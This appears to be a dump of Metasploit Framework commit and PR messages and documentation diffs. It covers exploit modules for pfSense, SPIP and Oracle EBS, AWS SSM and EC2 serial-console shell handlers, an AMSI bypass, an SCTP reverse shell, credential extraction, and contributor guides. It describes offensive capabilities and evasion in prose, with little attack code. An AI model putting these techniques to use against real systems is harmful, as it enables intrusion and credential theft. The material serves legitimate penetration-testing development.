This PR adds support for detecting whether a session is
running in a podman container and improves detection for
sessions running in Docker, LXC and WLS containers.
The connection needs to slowly send data to the remote end for
stability. Additionally, the `exit` command should be issued when
closing the connction so it is reset back to the logon prompt.
Windows shells require an extra configuration that when present still
doesn't offer either the cmd.exe or powershell session that MSF expects
but rather a SAC shell.
AWS EC2 Nitro instances (and possibly others) support serial proxy
over SSH using the Instance Connect API:
https://docs.amazonaws.cn/en_us/AWSEC2/latest/UserGuide/
connect-to-serial-console.html
This process consists of sending an SSH pubkey to the serial proxy
control plane, connecting to a well-known URL with the instance ID
and port number as username, and the SSH private key as credential.
The resulting session is a "fragile" SSH context which does not
tolerate Channel-closing, requiring some special handling in Msf to
safeguard the initial Net::SSH::CommandStream.
Implement a BindAwsInstanceConnect Handler which loads an SSH key
from the local FS or generates a new one on the fly, passes the
pubkey to the InstanceConnect API, and then establishes SSH comms
with the InstanceConnect SSH proxy.
Implement a AwsInstanceConnectBind to handle resulting connetions,
derived from SshCommandShellBind, with an updated #bootstrap which
avoids meddling with the fragile CommandStream/Channel.
Testing:
Got serial console to the ttyS0 login prompt of a Nitro EC2 VM.
Logged in using previously-known credentials.
Verified console operations.
Notes:
Handler keeps firing, same as the SSM session concern.
There is a limit to the number of sessions which an instance can
hold (possibly only one).
This updates the aarch64 payloads to include comments with the
corresponding instructions for each little-endian integer. It also fixes
the debug output for x64 payloads under rosetta.
This module exploits a vulnerability in pfSense version
2.6.0 and below which allows for authenticated users to
execute arbitrary operating systems commands as root.
* Msftidy complains about Line 2 of the exploit template comment having
* http:// protocol instead of https:// protocol
* Reference in PR #18170, commit hash ad0d3e79, where Msftidy lint test fails
* to pass, but in the next commit 591fee18, the test passes.
* Small fixes in Description - removed backticks
* Implemented Windows Command target
* Removed PowerShell Stager, in Targets and in exploit method
* Implemented Rex::Socket::Tcp in place of TCPSocket
* Updated TARGET section in documentation
* Added TARGET 0 - Windows Command scenario
* Removed PowerShell Stager scenario
* Replaced 'Using configured payload' lines to use Windows Command payload
for the 2nd, 3rd, and 4th scenarios. Did not rerun the scenarios, however
The _AppDomainPtr, _AssemblyPtr and _MethodInfoPtr variables are COM smart pointers which will auto-Release() when they go out of scope, so we should not directly Release() them.
This reverts commit f97ab80224, reversing
changes made to c8f942cc03.
This change impacted the default `psexec` powershell target and needs further
testing to be reintroduced.
This adds support for the dyld changes incorperated into Sonoma and
cleans up the existing support for Ventura. This does not break
compatibility with previous versions.
This adds support for the dyld changes incorperated into Ventura which
includes changes to the symbols used. This does not break compatibility
with previous versions.
This commit adds the sign method to Payload::MachO which performs a
basic SHA256 signature update on the provided macho to enable it to run
under osx aarch64 systems.
This builds on Back from the dyld by adding the required aarch64
assembly code to enable the OSX loader to run on the m1. This enables
the use of native payloads on M1 or M2 devices that do not have Rosetta
installed.
When the entry point is after the payload, there woud occassionally be
cases where `poff` and `eidx` to be invalid, causing `entry` to be
truncated. `poff` should never be negative and `eidx` should reserve the
256 bytes that `entry` may occupy.
The script generated by the web_delivery module is blocked
by the Antimalware Scan Interface (AMSI) on newer versions
of windows. This PR allows the script to bypass AMSI.
Get all instances if limit is not set, improve output slightly.
Note: `inst.network_interfaces.select {|iface| iface.association}`
appears to have problems with multiple calls at run time - says
that the AWS SDK is trying to call `:[]` on `nil` but works in Pry.
Move debugging info into same file and make markdown match standards
Add more info on Pry debugging using Alan David Foster's explaination
Fix up broken URL links and format new URL links correctly
Fix up formatting and add information on Debug.gem supported commands
* Update modules landed as a scanner into a more appropriate category.
* Adds a check method based on TP-link default `TITLE` html.
* Rename module consistent with existing exploit.
Previously there was not the ability to restore the server proxy setting.
This updates the code to do so. Additionally this also updates the documentation
to note that Fetch payloads are incompatible with this module since they
use HTTP connections that will be impacted by this module changing the server's
HTTP proxy settings. There is no way around this.
The size requriement is used when the adapted payload is executed from
the command line but that's not the case for the fetch payloads which
execute a command to fetch the payload from a URL. The payload size
doesn't matter because it's included in the executable file hosted at
the URL.
* Prevent using post modules with the session
It doesn't work reliably because of winpty and how the output is
mangled.
* Set the limit correctly
* Fix Linux PTY downgrade issues
* Remove filtering
The filtering implementation is incomplete and unnecessary.
Filtering is unnecessary because Linux sessions execute a stub on
session start up that uses a combiantion of stty and a fifo to emulate a
PTY-less session. Windows sessions do not need filtering because they
have been explictly marked as being incompatible with the Post API which
is confused by the extra characters.
The filtering implementation is incomplete because it does not account for
echo fragments that are split across lines. It also does not account for
all of the ANSI escape codes.
* Add module docs for enum_ssm
The function required a filter argument, but not every query has a
filter. By removing it, we can reuse the same logic for other operations
including modifications.
* Revert "shell_command_token_base get 0th output index"
This reverts commit 3a4cb3560f.
* Correct the order of arguments to #set_term_size
* Fix paths for directory checks
The path C:\ ends with a trailing backslash which will cause bash to
wait for another line if input. This places the shell in an undesirable
state.
* Fix post module tests for Linux
* Remove the command document
This hasn't been tested and it's unclear under what conditions this
would be used.
* Fix Windows SSM sessions
---------
Co-authored-by: Spencer McIntyre <zeroSteiner@gmail.com>
The exists? method in post/file has a different implementation for
PSH sessions than other shells which are testing for the existence
of a path, not the presence of a file.
Fix this by replacing [System.IO.File]::Exists with Test-Path.
Testing:
```
PS C:\Windows\system32> [System.IO.File]::Exists("C:\")
False
PS C:\Windows\system32>test-path C:\
PS C:\Windows\system32> test-path C:\
True
```
There was an issue in the ACE processing where only ACEs corresponding
to an object were processed for SIDs with enrollment rights. The
processing should also process ACEs that grant the enrollment right and
are not related to any objects. In other words, only ACEs associated
with an object that is neither the CERTIFICATE_ENROLLMENT_EXTENDED_RIGHT
or CERTIFICATE_AUTOENROLLMENT_EXTENDED_RIGHT right should be ignored.
- Put all the error-disabling statements on a single line
- Remove some useless spaces
- Use `stristr(…)` (available since PHP4) instead of `strpos(strtolower(…))`
- Use `&&` instead of `and`
- Use backticks instead of `passthru`, since they're equivalent: https://www.php.net/manual/en/language.operators.execution.php
MessagePack 1.7.0 gem introduced code not compatible with the current
build env used for nightly packages. This may be addressed in several
ways and has been reported upstream. Lock the version a until a path
forward is determined.
* Improve base login scanner to catch any Exception
* Catch any Exception in SNMP scanner that overrides base method
* Expand connection errors possible in PostgreSQL scanner
Update the enum_ssm module to use the correct session type with the
appropriate platform. Also set the session information to the same
string which also removes the eye sore that is the shell banner.
Fixed some typos, took into account the comment from jvoisin to infer fields from the JSON reply, used fail_with as suggested by jheysel-r7, fixed a rubocop warning about a redundant begin block.
Update the enum_ssm module to use the correct session type with the
appropriate platform. Also set the session information to the same
string which also removes the eye sore that is the shell banner.
This module exploits a publically accessible endpoint in
SPIP that results in code execution in the context of the
user running the webapp (CVE-2023-27372).
Rex::Proto::DNS::Resolver is currently unable to approximate the
host OS' native resolver because:
1. It cannot cache responses and has to go out to its defined NS'
each time to query for the answers,
2. Because it is not aware of the system's hostsfile entries which
can result in leaks/mis-targeted execution, and a bunch of other
unpleasantly nuanced problems.
Address the concern by:
1. Creating a descendant CachedResolver class from
Rex::Proto::DNS::Resolver, with a #send method override which
performs cache query and population.
2. Moving the Cache class up one namespace to Rex::Proto::DNS and
updating the server accordingly.
3. Fixing the MATCH_HOSTNAME regex in Rex::Proto::DNS::Constants to
allow a short-name (vs FQDN) and creating a relevant MATCH_FQDN.
TODO:
1. Deal with adding search domains from the system to short-name
queries and records; if we decide this is a good idea (potential
for leaks).
2. Look at performance optimization for multiple concurrent queries
via singleton/refcounted/other optimized concurrent access patters.
Testing:
1. Pry-level tests of the objects edited/created in this PR. Needs
some runtime testing to QA.
Both the reference links in this one are dead, replacing with archive.org links.
Much like https://github.com/rapid7/metasploit-framework/pull/17825, I'll be doing these ad-hoc for a little bit until I figure out a reliable way to do a load of them in one batch.
This module exploits an undocumented backdoor vulnerability
(CVE-2019-7276) in the Optergy Proton and Enterprise Building
Management System (BMS) applications.
The Secunia links in the framework were dead. They have
now been restored using the wayback machine to grab
replacement links from the earliest date possible.
The default action "Malformed Packet" reports all users as found even
though they don't exist.
Setting "CHECK_FALSE" to true will make the scanner bail out as it
realizes the target is patched.
This pull request adds an exploit module for CVE-2022-21587
an arbitrary file upload vulnerability in Oracle Web Applications
Desktop Integrator as shipped with 12.2.3 through to 12.2.11
which results in RCE
Fix #query_ldap to use the API provided by Windows instead of dealing
with the opaque BER data structures. This means that querying is now
reliant on documented APIs and will function on both 32-bit and 64-bit
Meterpreters.
Using #arch instead of #native_arch means that the Python Meterpreter
will be misclassified as ARCH_PYTHON and will be unable to use util
functions correctly.
Update railgun to handle pointer return types. If the type that is
pointed to is known (i.e. PCHAR, PULONG_PTR) and not LPVOID, the
contents returned to the caller. The raw address is also returned in the
&return key to enable the caller to free the buffer if necessary which
is determined by the function that was called.
This references the main dll/template.c code as the mixed-mode variant
already does. This will make future changes easier as we won't need to
copy them from the main to this one.
See https://github.com/rapid7/metasploit-framework/pull/8509 for the
origin of these files.
Implement reverse shell over SCTP in Python.
During testing against Arch Linux with Python 3.10.9, any attempt
to interact with the resulting shell produced:
```
Traceback (most recent call last):
File "/tmp/shell.py", line 12, in <module>
so.send(o)
OSError: [Errno 22] Invalid argument
```
Implement handling for OSError 22 on the send() method for the
abnormal stream socket.
Testing:
Tested against local KVM virtual machine running Arch Linux
With the introduction of SCTP socket support in Rex::Socket via
https://github.com/rapid7/rex-socket/pull/56, Framework can utilize
this protocol for session transports similarly to TCP as it is a
stream-wise transport.
Implement bind and reverse handlers for the new socket type.
Implement example bind and reverse payloads using socat copying
from the initial udp sessions implementation.
Testing:
Rudimentary bind session test against local Libvirt Linux VM
Next steps:
Implement the language-level payloads for the interpreters common
to POSIX environments supporting SCTP.
Implement meterpreter transports for SCTP in Python, PHP, Mettle,
and Java modalities (Windows doesn't support it without carrying
its own usermode protocol library).
Create an AwsSsmCommandShellBind session type to provide intercept
points for shell command interactions and a wrapper class which is
used to register the new session.
Update Msf::Handler::BindAwsSsm with its own #create_session method
utilizing the new session type to provide direct control of session
initialization.
Restore standard handler attributes and thread nomenclature in an
attempt to resolve the repeating session creation when #to_handler
is called on the payloads.
Testing:
Tested in local framework, unfortunately the recurring session
init problem appears to persist. Requesting testing on an upstream
Framework by saner folks.
Update SSM handler code to standardize datastore option names per
@zeroSteiner.
Update payload modules to reflect the OS targets against which they
are to execute.
Bail out of console resize operation if ::IO.console doesn't exist
Enforce REGION datastore option and remove the multi-region enum
code by Aaron - users can write resource scripts if they need
automation.
Add a post module for credential extraction from WhatsUp Gold instances
on Windows hosts. The module should theoretically decrypt ciphertext
from any version of WhatsUp Gold, although it has only been verified
working on WhatsUp Gold versions 11.0 through 22.0.
Expand SSM enumeration module docs to explain full functionality.
Enable the LIMIT configuration option to restricte results per
region.
Implement FILTER_EC2_ID configuration option to permit targeting
of a specific instance for session initiation.
Testing:
Finds limtied sets of systems and initiates sessions
Finds desired system ID and initiates session
The SSM session socket times out without data being sent at the
upper (SSM) WS layer. Implement keep-alive in a separate thread
which simply writes nothing into the channel at irregular intervals
to simulate user activity.
Testing:
Sessions established with this code running have not timed-out
in over 15m despite being completely unused
Enable session acquisition from AWS SSM enumeration module simiar
to how the telnet login scanner acquires sessions on the sockets
exposed.
Testing
Tested execution - finds systems, gets shells, autopwn-capable
Coopt Aaron Soto's EC2 enum module & replace the guts with an SSM
query for not-terminated EC2 instances with SSM capability. This
will proide users with the instance IDs needed to test their SSM
shells and can be expanded to report information or even act as a
"brute-force" module which automatically starts SSM sessions.
Testing:
None - might eat your monitor lizard
Implement terminal resizing to WebSocket shell
Reorganize code to ease later extension
Implement peerinfo in channel context from AWS EC2 SSM information
gathered during session validation
Implement echo-filtering for session inputs (hacky, but works)
Testing:
Verified console resizing, color/reset/etc
Verified peerinfo and interaction
Verified common session operations
Notes:
SSM WebSocket sessions time out pretty quickly, implementing
dedicated SSM session types which support suspend/resume to match
backgrounding/foregrounding operations in the console should help
to resolve this. Alternatively, a keep-alive using empty frames
may be implemented in the SsmChannel itself on a separate thread.
Alter WebSocket::Interface::Channel to accept a mask_write flag to
set the Channel behavior for outgoing data (since the on_data_write
handler can only deal with the buffer provided, not how the wsframe
containing it is written to the "wire"). Set the flag to false for
SSM's WebSocket operations.
Extract Rex::Proto::Http::WebSocket::AmazonSsm from the handler to
permit reuse by other framework elements.
Implement SSM-specific UUID handling.
Create sane SsmFrame constructor to permit convenient operations.
Implement Http::WebSocket::AmazonSsm::Inteface::SsmChannel from
Http::WebSocket::Inferface::Channel with message-type handling and
output processing. Acknowledge incoming messages, process incoming
acknowledgements, increment sequence IDs appropriately, and handle
basic logging.
This new session type removes the 2500 char output restriction and
stateless peer cwd.
Testing:
Execution of handler now provides stateful interactive shells
Next steps:
More testing, preferably by other people with upstream framework.
Peerinfo and presentation updates for the session channel
Misc cleanup
Future work:
Implement new SSM session type with support for multi-console,
port-forwarding/socket routing, and custom SSM documents.
Implement FSM handlers for session suspension and resumption in
Http::WebSocket::AmazonSsm::Interface::SsmChannel
Create BinData structure to handle the proprietary format of AWS'
SSM WebSocket protocol. Implement relevant inter-field dependencies
and a virtual payload_valid field to handle the SHA256 digest check
for the current state of r the payload_data field.
Implement user-accessible SSM document definition to permit use of
custom-defined command and session documents (stubbing for session
types such as port-forwarding) which may be of use when dealing
with restrictive IAM.
Restructure handler in preparation for moving the WebSocket code
into Rex::Proto for use by other consumers such as custom payloads
and session types like fully interactive (vs REPL) modalities, or
some form of "cloud-native" MeterSSM.
Testing:
Verified acquisition of SSM WS frame and relevant field ops
Next Steps:
Create WS loop to abstract shell communications
Wrap in Rex*Abstraction bowties for the session handler
Test -> ? -> Profit
Using the implementation in https://github.com/humanmade/ssm, use
the onconnect websocket authenticator as a JSON string written as
a wstext Frame into the established WebSocket. This keeps the sock
open with AWS after returning it from the method, but subsequent
operations will require definition and encoding/decoding of SSM's
proprietary data structures.
Testing:
The initialized WebSocket is kept open and returns wsframes when
requested.
Next steps:
Port the various data structures from the JavaScript library
Implement encoding & decoding for their wire-level formats
Implement state management and data flow handling logic for
the WS SSM protocol.
Port WebSocket initiation routine from Exploit::Remote::HttpClient.
Currently inert since it appears to require a handshake procedure
along with its own type of data frame.
Implement graceful fail-down for session establishment which tries
to initiate a WebSocket session for proper functionality, failing
down to the script-execution style session abstraction if the WS
session does not marshal properly. Use this exception handling to
deal with the WIP WS session state.
Testing:
Gets the same kind of command-abstracted session as before
Interface-extended socket returns garbage from naive #write and
nothing from put_string or put_binary - not going to get anything
out of this thing until we establish the handshake procedure.
Next steps:
Figure out data frame structures for handshake and console IO
Implement handshake on-init, validate state
Implement IO abstraction for the resulting Channel for handoff
to #handle_connection
Amazon Web Services provides conveniently privileged backdoors in
the form of their SSM agents which do not require connectivity with
the target instance, merely valid credentials to AWS' API. Due to
this indirect "connection" paradigm, this mechanism can be used to
control otherwise "air-gapped" targets.
This approach abstracts asynchronous request/response parsing for
SSM requests into an IO channel with which the AWS SSM client is
then wrapped to emulate the expected Stream. The mechanism is rather
raw and could use better error handling, retries on laggy output,
and a threadsafe cursor implementation. It may be possible to start
an actually interactive session using the #start_session method in
the AWS client library, but so far testing has not yielded positive
results.
There is a significant limitation with these sessions not present
in normal stream-wise abstractions: a response limit of 2500 chars.
This limitation can be overcome by utilizing an S3 bucket to store
command output; however, due to the nature of access we seek to
obtain, it would not only add to the logged event loads but retain
the results of our TTPs in a "buffer" accessible to other people.
This functionality can be added down the line in the form of S3
config options in the handler to be passed into the SSM client for
command execution and acquisition of output.
Testing:
Gets sessions, provides command IO, leaves a bunch of log entries
in CloudTrail (something to keep in mind for opsec considerations).
Next steps:
Reorganize our WebSocket code a bit to provide connection and WS
state management inside Rex::Proto::Http::Client which can then be
exposed to the Handler without having to mix-in other namespaces
from Exploit.
Use the #start_session SSM Client method to extract the WS URL
for the relevant channel, and utilize that as the underpinning for
our session comms.
I think all exploit modules should "report" in the check method when finding a vulnerable
product. By doing that we can take advantage of all check methods in the exploit module
and use them as a "scanner". That would give the chance for the user to check multiple
simultaneously targets and save the result for further actions.
Closing this issue. If you believe this issue has been closed in error, please provide any relevant output and logs which may be useful in diagnosing the issue.
`
},
attic: {
close: true,
comment: `
Thanks for your contribution to Metasploit Framework! We've looked at this issue, and unfortunately we do not currently have the bandwidth to prioritize this issue.
We've labeled this as \`attic\` and closed it for now. If you believe this issue has been closed in error, or that it should be prioritized, please comment with additional information.
warning"Invalid docs link syntax found on line #{el.options[:location]}: Invalid relative link #{link_href} found. Please use the syntax [[#{link_text}|#{link_href}]] instead"
warning"Invalid docs link syntax found on line #{el.options[:location]}: Invalid absolute link #{link_href} found. Please use relative links instead, i.e. [[#{link_text}|#{example_path}]] instead"
Maintainers can assign labels to both issues and pull requests.
### Attic
When we move something to the attic it means that what you submitted is a thing that we want but the circumstances were not quite right for landing it. Sometimes this is on us, and sometimes the contribution needs more work. We recognize that contributors work on the PRs they submit at their own pace. Take a look at the comments and review suggestions on your PR, and feel free to re-open it if and when you have time to work on it again. Don't think you'll be able to get it across the finish line? Find a community champion to do it for you.
### Bug
Any PR that fixes a bug or an issue that raises awareness of a bug in the framework.
### Breaking Change
Features that are great, but will cause breaking changes and should be deployed on a large release.
### Code Quality
When a PR improves code quality.
### Confirmed
Specifically for issues that have been confirmed by a committer.
### Docs
Documentation changes, such as YARD markup, or README.md, or something along those lines.
### External
### External Modules
Touches something in /external, or the Gemfile, or something like that.
PRs dealing with modules run as their own process.
### Heartbleed
Has to do with heartbleed. This will go away soon, but there are three outstanding still...
### Hotness
Something we're really excited about.
### Library
Touches something in /lib.
@@ -26,20 +50,20 @@ Plugins and scripts, anything that's not otherwise defined.
### Module
Touches something in /modules
Touches something in /modules.
### Specs
### Needs Linting
Has specs (an rspec test)
The module needs additional work to pass our automated linting rules.
### Needs More Information
The issue lacks enough detail to replicate/resolve successfully.
### Newbie Friendly
Something that's pretty easy to test or tackle.
### attic
When we move something to the attic it means that what you submitted is a thing that we want but the circumstances were not quite right for landing it. Sometimes this is on us, and sometimes the contribution needs more work. We recognize that contributors work on the PRs they submit at their own pace. Take a look at the comments and review suggestions on your PR, and feel free to re-open it if and when you have time to work on it again. Don't think you'll be able to get it across the finish line? Find a community champion to do it for you.
### Needs unique branch
Your submitted a PR from your `master` branch.
@@ -49,4 +73,74 @@ Because of how GitHub tracks changes between branches and what got added in a pa
git checkout -b <BRANCH_NAME>
git push <your_fork_remote> <BRANCH_NAME>
```
This helps protect the process, ensure users are aware of commits on the branch being considered for merge, allows for a location for more commits to be offered without mingling with other contributor changes and allows contributors to make progress while a PR is still being reviewed.
This helps protect the process, ensure users are aware of commits on the branch being considered for merge, allows for a location for more commits to be offered without mingling with other contributor changes and allows contributors to make progress while a PR is still being reviewed.
### Needs-docs
When a module is uploaded without a corresponding documentation file, add this label in indicate docs are required
### Not Stale
Label to stop an issue from being auto closed.
### Osx
Label for any osx related work.
### Payload
Touches something related to a payload.
### RN (Release notes)
There are a series of labels that are added to all PRs when they are landed that define the release notes for the PR.
They are denoted by the `rn-` prefix and they are important as they are used by automation to track metasploit-framework
statistics:
#### rn-enhancement
Release notes for an enhancement.
#### rn-fix
Release notes for a fix.
#### rn-modules
Release notes for new or majorly enhanced modules.
#### rn-no-release-notes
The PR is too small or insignificant to warrant release notes.
#### rn-wiki
Release notes for Metasploit Framework wiki.
### Stale
Marks an issue as stale, to be closed if no action is taken.
This page lists the keys in use by [Metasploit committers][msf-committers] and
This page lists the keys in use by [[Metasploit committers|committer-rights]] and
can be used to verify merge commits made to <https://github.com/rapid7/metasploit-framework>.
# Keybase.io identities
@@ -106,7 +106,7 @@ Enter passphrase: [...]
2. Modify your `.git/config` file to enable signing commits and merges by default:
````
```ini
[user]
name=Your Name
email = your_email@example.com
@@ -114,11 +114,10 @@ Enter passphrase: [...]
[alias]
c=commit -S --edit
m = merge -S --no-ff --edit
````
```
Using `git c` and `git m` from now on will sign every commit with your `DEADBEEF` key. However, note that rebasing or cherry-picking commits will change the commit hash, and therefore, unsign the commit -- to resign the most recent, use `git c --amend`.
@@ -58,7 +58,7 @@ You probably shouldn't run proof of concept exploit code you find on the Interne
Also, please take a peek at our guides on using git and our acceptance guidelines for new modules in case you're not familiar with them.
If you get stuck, try to explain your specific problem as best you can on our [Freenode IRC](https://freenode.net/) channel, #metasploit (joining requires a [registered nick](https://freenode.net/kb/answer/registration)). Someone should be able to lend a hand. Apparently, some of those people never sleep.
If you get stuck, try to explain your specific problem as best you can on our [Freenode IRC](https://freenode.net/) channel, #metasploit (joining requires a [registered nick](https://freenode.net/view/Nick_Registration)). Someone should be able to lend a hand. Apparently, some of those people never sleep.
Slack Contacts: @zeroSteiner, @Op3n4M3, @gwillcox-r7 on [Metasploit Slack](https://metasploit.slack.com/)
@@ -24,7 +24,7 @@ Difficulty: 4/5
### LDAP Capture Capabilities
Metasploit's LDAP service mixin provides a service to enable interaction over the LDAP protocol. The current implementation is the bare minimum to enable support for attacking the [2021 Log4Shell vulnerability](). Enhancement/Extension of the mixin to enable various additional LDAP features would enable extended usage of this service for additional tasks. Support for various protocol level authentication methods would allow Metasploit to intercept and log authentication information. Specific items of interest are [SPNEGO](https://en.wikipedia.org/wiki/SPNEGO) and [StartTLS](https://ldapwiki.com/wiki/StartTLS) support to enable compatibility with the widest variety of clients and a new capture module that log authentication information from clients.
Metasploit's LDAP service mixin provides a service to enable interaction over the LDAP protocol. The current implementation is the bare minimum to enable support for attacking the [2021 Log4Shell vulnerability](https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell?referrer=msf_docs). Enhancement/Extension of the mixin to enable various additional LDAP features would enable extended usage of this service for additional tasks. Support for various protocol level authentication methods would allow Metasploit to intercept and log authentication information. Specific items of interest are [SPNEGO](https://en.wikipedia.org/wiki/SPNEGO) and [StartTLS](https://ldapwiki.com/wiki/StartTLS) support to enable compatibility with the widest variety of clients and a new capture module that log authentication information from clients.
Size: Medium
Difficulty: 3/5
@@ -58,7 +58,7 @@ Difficulty: 4/5
Enhance existing Metasploit Goliath dashboard that allows observation of an active engagement. Data visualization would include, but not be limited to: host node graph with activity indicators and heat maps. The main idea here is to create a visualization tool that helps users understand data that has been gathered into Metasploit during usage in some useful way. Proposals should note where the service will live, how a user will use the service, and how you will provide a maintainable and extendable consumer for the data that is exposed.
See [Metasploit 'Goliath' Demo (msf-red)](https://www.youtube.com/watch?v=hvuy6A-ie1g&feature=youtu.be&t=176) for a demo video of Goliath in action. You can also read more on Metasploit Goliath at [Metasploit-Data-Service-Enhancements-(Goliath)](./Metasploit-Data-Service-Enhancements-Goliath)
See [Metasploit 'Goliath' Demo (msf-red)](https://www.youtube.com/watch?v=hvuy6A-ie1g&feature=youtu.be&t=176) for a demo video of Goliath in action. You can also read more on Metasploit Goliath at [[Metasploit-Data-Service-Enhancements-(Goliath)|./Metasploit-Data-Service-Enhancements-Goliath]
Slack Contacts: @Op3n4M3, @gwillcox-r7 on [Metasploit Slack](https://metasploit.slack.com/)
Slack Contacts: @Op3n4M3 on [Metasploit Slack](https://metasploit.slack.com/)
For any questions about these projects reach out on the Metasploit Slack in the `#gsoc` channel or DM one of the mentors using the Slack contacts listed above. Note that mentors may be busy so please don't expect an immediate response, however we will endeavor to respond as soon as possible. If you'd prefer not to join Slack, you can also email `msfdev [@] metasploit [dot] com` and we will respond to your questions there if email is preferable.
@@ -17,18 +17,11 @@ Difficulty: 4/5
### LDAP Capture Capabilities
Metasploit's LDAP service mixin provides a service to enable interaction over the LDAP protocol. The current implementation is the bare minimum to enable support for attacking the [2021 Log4Shell vulnerability](). Enhancement/Extension of the mixin to enable various additional LDAP features would enable extended usage of this service for additional tasks. Support for various protocol level authentication methods would allow Metasploit to intercept and log authentication information. Specific items of interest are [SPNEGO](https://en.wikipedia.org/wiki/SPNEGO) and [StartTLS](https://ldapwiki.com/wiki/StartTLS) support to enable compatibility with the widest variety of clients and a new capture module that log authentication information from clients.
Metasploit's LDAP service mixin provides a service to enable interaction over the LDAP protocol. The current implementation is the bare minimum to enable support for attacking the [2021 Log4Shell vulnerability](https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell?referrer=msf_docs). Enhancement/Extension of the mixin to enable various additional LDAP features would enable extended usage of this service for additional tasks. Support for various protocol level authentication methods would allow Metasploit to intercept and log authentication information. Specific items of interest are [SPNEGO](https://en.wikipedia.org/wiki/SPNEGO) and [StartTLS](https://ldapwiki.com/wiki/StartTLS) support to enable compatibility with the widest variety of clients and a new capture module that log authentication information from clients.
Size: Medium
Difficulty: 3/5
### Enhanced LDAP Query & Collection
When preforming security assessment on a network with centralized login such as LDAP or Active Directory these services are sometimes exposed directly on the network. While Metasploit has capabilities to collect various pieces of information from these services when a user has been able to gain code execution inside a target system by utilizing tooling such as `Sharphound` or by leveraging SMB services via the `secrets_dump` module, these methods are somewhat indirect. A network base capability to query exposed services may have value. An interactive terminal plugin allowing users to connect directly to LDAP or Active Directory providing capabilities similar to the existing `requests` plugin could enable users search for valuable information in these services without the need to compromise a target or interact with a secondary service.
Size: Medium/Large (Depends on proposal)
Difficulty: 3/5
### Improving post-exploit API to be more consistent, work smoothly across session types
The Metasploit post-exploitation API is intended to provide a unified interface between different Meterpreter, shell, PowerShell, mainframe, and other session types. However, there are areas where the implementation is not consistent, and could use improvements:
@@ -51,9 +44,9 @@ Difficulty: 4/5
Enhance existing Metasploit Goliath dashboard that allows observation of an active engagement. Data visualization would include, but not be limited to: host node graph with activity indicators and heat maps. The main idea here is to create a visualization tool that helps users understand data that has been gathered into Metasploit during usage in some useful way. Proposals should note where the service will live, how a user will use the service, and how you will provide a maintainable and extendable consumer for the data that is exposed.
See [Metasploit 'Goliath' Demo (msf-red)](https://www.youtube.com/watch?v=hvuy6A-ie1g&feature=youtu.be&t=176) for a demo video of Goliath in action. You can also read more on Metasploit Goliath at [Metasploit-Data-Service-Enhancements-(Goliath)](./Metasploit-Data-Service-Enhancements-Goliath)
See [Metasploit 'Goliath' Demo (msf-red)](https://www.youtube.com/watch?v=hvuy6A-ie1g&feature=youtu.be&t=176) for a demo video of Goliath in action. You can also read more on Metasploit Goliath at [[Metasploit-Data-Service-Enhancements-(Goliath)|./Metasploit-Data-Service-Enhancements-Goliath]]
@@ -35,7 +35,7 @@ But of course, to begin, you most likely need a template to work with, and here
```ruby
##
# This module requires Metasploit: http://metasploit.com/download
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
@@ -69,7 +69,12 @@ class MetasploitModule < Msf::Exploit::Remote
},
'Privileged'=>false,
'DisclosureDate'=>'',
'DefaultTarget'=>0
'DefaultTarget'=>0,
'Notes'=>{
'Stability'=>[CRASH_SAFE],
'Reliability'=>[REPEATABLE_SESSION],
'SideEffects'=>[ARTIFACTS_ON_DISK,IOC_IN_LOGS]
},
)
)
end
@@ -99,7 +104,14 @@ end
* **Payloads** - The Payloads field specifies how the payload should be encoded and generated. You can specify: `Space`, `SaveRegisters`, `Prepend`, `PrependEncoder`, `BadChars`, `Append`, `AppendEncoder`, `MaxNops`, `MinNops`, `Encoder`, `Nop`, `EncoderType`, `EncoderOptions`, `ExtendedOptions`, `EncoderDontFallThrough`.
**DisclosureDate** - The DisclosureDate is about when the vulnerability was disclosed in public, in the format of: "M D Y". For example: "Apr 04 2014"
***DisclosureDate** - The DisclosureDate is about when the vulnerability was disclosed in public, in the format of: "M D Y". For example: "Apr 04 2014"
* **Notes** - The Notes field is a hash always containing three keys. The value of each key is an array of constants. The list of available constants can be found in the [[Definition of Module Reliability Side Effects and Stability|./Definition-of-Module-Reliability-Side-Effects-and-Stability.md]]. The key should be present even if the array is empty.
* **Stability** - The Stability field describes how the exploit affects the system it's being run on, ex: `CRASH_SAFE`, `CRASH_OS_DOWN`
* **Reliability** - The Reliability field describes how reliable the session is that gets returned by the exploit, ex: `REPEATABLE_SESSION`, `UNRELIABLE_SESSION`
* **SideEffects** - The SideEffects field describes the side effects cause by the exploit that the user should be aware of, ex: `ARTIFACTS_ON_DISK`, `IOC_IN_LOGS`, `ACCOUNT_LOCKOUTS`.
Your exploit should also have a `check` method to support the check command, but this is optional in case it's not possible.
Metasploit plugins can change the behavior of Metasploit framework by adding new features, new user interface commands, and more.
They are designed to have a very loose definition in order to make them as useful as possible.
Plugins are not available by default, they need to be loaded:
```msf
msf6 > load plugin_name
```
Plugins can be automatically loaded and configured on msfconsole's start up by configuring a custom `~/.msf4/msfconsole.rc` file:
```
load plugin_name
plugin_name_command --option
```
## Available Plugins
The current available plugins for Metasploit can be found by running the `load -l` command, or viewing Metasploit's [plugins](https://github.com/rapid7/metasploit-framework/tree/master/plugins) directory:
In some exploitation scenarios such as local privilege escalation, command execution, write privilege attacks, SQL Injections, etc, it is very likely that you have to upload one or more malicious files in order to gain control of the target machine. Well, a smart attacker shouldn't leave anything behind, so if a module needs to drop something onto the file system, it's important to remove it right after the purpose is served. And that is why we created the FileDropper mixin.
## Examples
The FileDropper mixin is a file manager that allows you to keep track of files, and then delete them when a session is created. To use it, first include the mixin:
```ruby
includeMsf::Exploit::FileDropper
```
Next, tell the FileDropper mixin where the file is going to be after a session is created by using the ```register_file_for_cleanup``` method. Each file name should either be a full path or relative to the current working directory of the session. For example, if I want to upload a payload to the target machine's remote path: ```C:\Windows\System32\payload.exe```, then my statement can be:
Metasploit has a handy `cleanup` method that is always called when the module terminates, whether it is successful or not. This method can be overridden by any modules to add their own cleanup routines. For example, this might be useful to put some files back on the target after the module had deleted them. Another scenario would be to restore the settings in a web application that were modified by the exploit. This is the right place to clean things up.
Framework itself implements this method to disconnect connections, call the handler cleanup routines, etc. Some other mixins, such as the `Msf::Exploit::FileDropper` (see the next [section](#filedropper-mixin)) or `Msf::Exploit::Remote::Kerberos::Client`, override this method to add their own cleanup code. It is extremely important to **always** call `super` in your `cleanup` method to make sure Framework and any other mixins clean up themself properly.
